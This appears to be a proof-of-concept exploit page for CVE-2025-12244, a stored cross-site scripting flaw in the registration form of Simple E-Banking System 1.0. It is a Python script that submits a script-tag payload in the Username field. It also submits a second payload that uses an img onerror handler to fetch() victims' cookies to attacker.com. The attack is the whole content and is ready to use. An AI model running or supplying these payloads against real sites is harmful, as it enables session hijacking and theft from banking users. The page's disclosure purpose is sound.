CVE-2025-12244 code-projects Simple E-Banking System 1.0 跨站脚本漏洞

import requests # CVE-2025-12244 PoC - Simple E-Banking System 1.0 XSS # Target URL for registration target_url = "http://target.com/eBank/register.php" # Malicious XSS payload in Username field payload = { "Username": "<script>alert(document.cookie)</script>", "email": "[email protected]", "password": "Password123!", "confirm_password": "Password123!", "submit": "Register" } # Send malicious registration request response = requests.post(target_url, data=payload) # Check if payload was stored if response.status_code == 200: print("[+] XSS payload submitted successfully") print("[+] Payload: <script>alert(document.cookie)</script>") print("[+] When users view the username, XSS will be triggered") # Alternative payload for cookie stealing steal_payload = { "Username": "<img src=x onerror=\"fetch('https://attacker.com/steal?c='+document.cookie)\">", "email": "[email protected]", "password": "Password123!", "confirm_password": "Password123!", "submit": "Register" } response2 = requests.post(target_url, data=steal_payload) print("[+] Cookie stealing payload also available")